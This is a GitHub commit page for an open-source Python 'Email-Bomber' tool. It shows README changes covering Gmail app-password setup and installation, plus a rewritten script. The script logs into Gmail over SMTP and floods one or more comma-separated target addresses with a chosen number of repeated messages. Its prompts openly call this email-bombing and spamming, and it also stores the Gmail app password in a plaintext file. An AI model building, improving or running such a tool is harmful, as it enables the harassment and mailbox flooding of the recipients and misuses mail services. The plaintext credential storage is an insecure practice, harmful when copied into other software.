Skip to content

Commit 0e9244e

Browse files
committed
-Updated README.md
-Improving code and clarity of emailbomber.py -Save user input information to skip questions next time. -Be able to add multiple emails.
1 parent 94f25fc commit 0e9244e

File tree

2 files changed

+109
-69
lines changed

2 files changed

+109
-69
lines changed

README.md

Lines changed: 63 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -1,37 +1,33 @@
1-
# Email-Bomber v1.1 📧
2-
- An open Source free to use email-bomber using smtp
3-
- Script Have been updated to google's latest requirements as less secure feature have been disable by Google
4-
- Now we use something known as app password
5-
6-
![emailbomber ss](https://user-images.githubusercontent.com/72141859/189279590-4dec4bc0-ed2e-4f79-8968-988b585fe279.png)
1+
#📧 Email-Bomber v2.0.0
2+
![Email Bomber Screenshot v2.0.0](https://i.imgur.com/zSeyXbw.png)
3+
- An open Source free to use email-bomber using python's built-in library SMTP.
74

8-
# Modules Required 📗
9-
- <a href="https://docs.python.org/3/library/smtplib.html"> SMTP</a> is a library used for sending mails in python which stands for simple mail transfer protocol
5+
##⚠️ Prerequisite
6+
![Enabling 2-Step Verification Screenshot](https://i.imgur.com/1tUNrsu.png)
107

11-
# Prerequisite ⚙️
12-
## Create & use App Passwords
8+
### Enabling 2-Step Verification
9+
- Go to your [Google Account](https://myaccount.google.com/) which you would like to send email-bombs from.
10+
- Select [Security](https://myaccount.google.com/security).
11+
- Enable [2-Step Verification](https://myaccount.google.com/signinoptions/two-step-verification).
1312

14-
- Go to your Google Account (from which you would send mail).
15-
- Select Security.
13+
### Create App Password
14+
![Create App Password Screenshot](https://i.imgur.com/KdU5Erp.png)
15+
- Go to [App Passwords](https://myaccount.google.com/apppasswords).
16+
- Select app as Mail.
17+
- Select device as your device e.g. Windows Computer etc.
18+
- If you do not have this option available:
19+
- You turned on Advanced Protection.
20+
- 2-Step Verification is not set up for your account.
21+
- 2-Step Verification is only set up for security keys.
22+
- Your account is under the control by work, school, or an organization.
1623

17-
- Enable 2FA for your Account.
24+
### Use App Password
25+
![App Password](https://i.imgur.com/krkn5EX.png)
26+
- Copy App Password.
27+
- Use App Password in Email-Bomber script.
1828

19-
- Under "Signing in to Google," select App Passwords. You may need to sign in. If you don’t have this option, it might be because :
20-
- 2-Step Verification is not set up for your account.
21-
- 2-Step Verification is only set up for security keys.
22-
- Your account is through work, school, or other organization.
23-
- You turned on Advanced Protection.
24-
25-
- At the bottom, choose Select app (gmail here) and choose the app you using (gmail here) and then select
26-
device (windows computer here) and choose the device you’re using(windows computer here) and then Generate.
27-
28-
![app pass](https://user-images.githubusercontent.com/72141859/189069975-1898d162-e3a9-4cab-b1a0-c95963e65268.png)
29-
- copy the App password and while entering sender's password in the script use this password instead of your gmail accounts password
30-
31-
![app paaas](https://user-images.githubusercontent.com/72141859/189070691-8a5734a7-9272-493a-b9b1-4997d90d8deb.png)
32-
33-
34-
# For Termux
29+
##📑 Installation Guide
30+
### Termux
3531
```
3632
pkg install git
3733
```
@@ -50,8 +46,7 @@ cd emailbomber
5046
```
5147
python emailbomber.py
5248
```
53-
54-
# For linux distributions
49+
### Linux Distributions
5550
```
5651
sudo apt install git
5752
```
@@ -70,3 +65,40 @@ cd emailbomber
7065
```
7166
python emailbomber.py
7267
```
68+
69+
#🧾 Requirements.txt
70+
- [SMTP](https://docs.python.org/3/library/smtplib.html), which stands for Simple Mail Transfer Protocol, is a built-in Python module used to send e-mails in Python.
71+
72+
73+
- [OS](https://docs.python.org/3/library/os.html), which stands for Operating System, is a built-in Python module which provides a portable way of using operating system dependent functionality.
74+
75+
##📇 License
76+
```
77+
MIT License
78+
79+
Copyright (c) 2022-Present, Atul Kushwaha.
80+
81+
Permission is hereby granted, free of charge, to any person obtaining a copy
82+
of this software and associated documentation files (the "Software"), to deal
83+
in the Software without restriction, including without limitation the rights
84+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
85+
copies of the Software, and to permit persons to whom the Software is
86+
furnished to do so, subject to the following conditions:
87+
88+
The above copyright notice and this permission notice shall be included in all
89+
copies or substantial portions of the Software.
90+
91+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
92+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
93+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
94+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
95+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
96+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
97+
SOFTWARE.
98+
```
99+
100+
##🤵 Authors
101+
- [@coderatul](https://github.com/coderatul)
102+
103+
##❔ Questions/Feedback
104+
If you have any questions or feedback, please reach out in [issues](https://github.com/coderatul/emailbomber/issues).

emailbomber.py

Lines changed: 46 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -1,38 +1,46 @@
1-
print(
2-
"""
3-
███████╗███╗ ███╗ █████╗ ██╗██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ███████╗██████╗
4-
██╔════╝████╗ ████║██╔══██╗██║██║ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗██╔════╝██╔══██╗
5-
█████╗ ██╔████╔██║███████║██║██║ ██████╔╝██║ ██║██╔████╔██║██████╔╝█████╗ ██████╔╝
6-
██╔══╝ ██║╚██╔╝██║██╔══██║██║██║ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗██╔══╝ ██╔══██╗
7-
███████╗██║ ╚═╝ ██║██║ ██║██║███████╗██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝███████╗██║ ██║
8-
╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝
9-
version 1.1 : uses app passowrd now, before it used less secure apps
10-
Author : linktr.ee/coderatul
11-
Before using please read "prerequisite section"
12-
"""
13-
)
14-
sender = input("Enetr Sender's Gmail Id -> ")
15-
app_password = input("Enter App password -> ")
16-
receiver = input("Enter Receiver's Gmail Id -> ")
17-
message = input("Enter Your Message -> ")
18-
count = int(input("Enter number of mail's to be sent -> "))
19-
import smtplib
20-
server = smtplib.SMTP("smtp.gmail.com",587)
21-
server.starttls()
22-
try:
23-
server.login(user= sender,password= app_password)
24-
except:
25-
print("")
26-
print("""check for the following:
27-
1. Read prerequisite section
28-
2. Check app password
29-
3. try again and enter details carefully
30-
""")
31-
else:
32-
for i in range(count):
33-
server.sendmail(from_addr= sender,to_addrs= receiver,msg= message)
34-
if count < 2:
35-
print(count,"mail have been sent to :",receiver)
36-
else:
37-
print(count,"mails have been sent to :",receiver)
38-
server.close()
1+
#Built-in library's.
2+
import smtplib
3+
from os import path, mkdir
4+
5+
print(f"{open('Welcome/welcome.txt', encoding='UTF-8').read()}\n\n") #Welcomes user.
6+
7+
#User inputs
8+
if not path.exists("User_Credentials"): #If User_Credentials does not exist, asks for user credentials.
9+
sender = input("Enter the Gmail address you would like to send emails from (example@gmail.com) -> ") #The gmail address that emails will be sent from e.g. example@gmail.com.
10+
app_password = input("Enter the app's password (xxxx xxxx xxxx xxxx)-> ") #The app's password that was created from the Gmail address e.g. alig maou tajh jagq.
11+
else: #Otherwise, reads saved user credentials.
12+
sender = open("User_Credentials/sender.txt", "rt").read() #Reads saved user gmail.
13+
app_password = open("User_Credentials/app_password.txt", "rt").read() #Reads saved user app password.
14+
print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)") #Tells user how to email-bomb more than one email.
15+
receiver = input("Specify the email(s) you would like to email-bomb -> ") #Enter the email(s) that you would like to email-bomb.
16+
message = input("Enter your email-bomber message -> ") #The message that the email user(s) will receive.
17+
count = int(input("Enter a number for the amount of emails to be sent -> ")) #The amount of emails to be sent to the receiver(s).
18+
19+
#Server
20+
server = smtplib.SMTP("smtp.gmail.com",587) #Initializes SMTP server.
21+
server.starttls() #Start SMTP server.
22+
23+
try: #Attempts to log in to user's gmail account.
24+
server.login(user= sender, password= app_password) #Logins to user's account.
25+
except smtplib.SMTPAuthenticationError as error: #Incorrect credentials inputted by user.
26+
print("\nError:\nMake sure the Gmail address that you inputted is the same as the gmail account you have created an app password for.\nDouble check your Gmail and app password.")
27+
print(f"{error}")
28+
input("Enter to exit...")
29+
quit() #Quits program.
30+
31+
if not path.exists("User_Credentials"): #If user credentials does not exist, creates and saves credential files.
32+
#If there are no errors in credentials, save user information after SMTP verification.
33+
mkdir("User_Credentials") #Creats User_Credentials folder.
34+
open("User_Credentials/sender.txt", "xt").write(sender) #Creates and saves user's Gmail address to User_Credentials folder.
35+
open("User_Credentials/app_password.txt", "xt").write(app_password) #Creates and saves user's Gmail app password to User_Credentials folder.
36+
input("\nYour credentials have been saved, so you do not have to repeat this process.\nTo change your credentials, go to User_Credentials and change your file information.\nPress enter to continue...")
37+
38+
print("\nEmail-bomber has started...\n")
39+
40+
for i in range(count): #Amount of messages to be sent.
41+
for email_receiver in receiver.split(","): #Loops through emails to send emails to.
42+
server.sendmail(from_addr= sender, to_addrs=email_receiver, msg=message) #Sends email to receiver.
43+
print(f"Email-bombing {email_receiver}...")
44+
45+
input("\nEmail-bomber was successful...\nEnter to exit...") #Email-bomber finished.
46+
server.close() #Closes server.

0 commit comments

Comments
 (0)